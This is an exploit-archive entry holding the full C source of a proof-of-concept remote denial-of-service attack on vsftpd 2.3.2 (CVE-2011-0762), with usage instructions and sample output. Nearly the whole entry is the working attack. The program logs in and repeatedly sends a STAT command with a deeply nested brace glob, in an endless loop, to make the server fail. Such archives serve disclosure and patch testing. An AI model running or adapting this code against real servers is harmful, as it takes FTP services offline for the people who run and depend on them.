vsftpd 2.3.2 Denial of Service Vulnerability

2011-03-03T00:00:00
ID 1337DAY-ID-15534
Type zdt
Reporter Maksymilian
Modified 2011-03-03T00:00:00

Description

Exploit for linux platform in category dos / poc

                                        
                                            #include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
 
/*
This is code of
http://cxib.net/stuff/vspoc232.c
 
PoC CVE-2011-0762 ( vsftpd )
Remote Denial of Service
 
Affected: 2.3.2
Fix: 2.3.4
 
Author:
Maksymilian Arciemowicz
 
Use:
./vspoc232 127.0.0.1 21 user pass 1
 
or read
http://securityreason.com/achievement_securityalert/95
for more information
   
Example result:
[email protected]:~$ telnet 172.5.0.129 21
Trying 172.5.0.129...
Connected to 172.5.0.129.
Escape character is '^]'.
500 OOPS: fork
Connection closed by foreign host.
 
*/
 
int skip=0;
 
int sendftp(int stream,char *what){
        if(-1==send(stream,what,strlen(what),0))
                printf("Can't send %s\n",what);
        else
                printf("send: %s\n",what);
 
        bzero(what,sizeof(what));
}
 
void readftp(int stream){
        char readline[4096];
        if(recv(stream,readline,4096,0)<1)
        if(!skip) exit(1); // end
        else
           printf("recv: %s\n",readline);
     
}
 
int sendstat(host,port,login,pass)
        char *host,*port,*login,*pass;
{
        char buffer[4097]; // send ftp command buffor
        int     sockfd,n,error;
        struct addrinfo hints;
    struct addrinfo *res, *res0;
 
        memset(&hints, 0, sizeof(hints));
        hints.ai_family = PF_UNSPEC;
        hints.ai_socktype = SOCK_STREAM;
        error = getaddrinfo(host,port,&hints,&res0);
 
        if (error){
                errorcon:
                printf("Can`t connect\n.exit");
                exit(1);
        }
 
        if((sockfd=socket(res0->ai_family,res0->ai_socktype, res0->ai_protocol))<0) goto errorcon;
        if(-1==connect(sockfd,res0->ai_addr,res0->ai_addrlen)) goto errorcon;
 
        readftp(sockfd);
        snprintf(buffer,4096,"USER %s\nPASS %s\n\n",login,pass);
        sendftp(sockfd,buffer);
        readftp(sockfd);
 
        snprintf(buffer,4096,"STAT {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{.}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}\n");
        sendftp(sockfd,buffer);
        freeaddrinfo(res0);
}
 
int main(int argc,char *argv[])
{
        char *login,*pass,logindef[]="anonymous",passdef[]="[email protected]";
 
        if(argc<3){
                printf("\nUse: ./vspoc232 host port [username] [password] [option]\nhost and port are requied\nuse option = 1 to skip recv() fails\n\nexample:\n./vspoc232 127.0.0.1 21 user pass 1\n\n");
                exit(1);
        }
 
        char *host=argv[1];
        char *port=argv[2];
 
        if(4<=argc) login=argv[3];
        else login=logindef;
 
        if(5<=argc) pass=argv[4];
        else pass=passdef;
 
        if(6<=argc) skip=1;
 
        while(1){
                printf("----------------------------- next\n");
                sendstat(host,port,login,pass);
                sleep(1); // some delay to be sure
        }
        return 0; // never happen
}



#  0day.today [2018-01-10]  #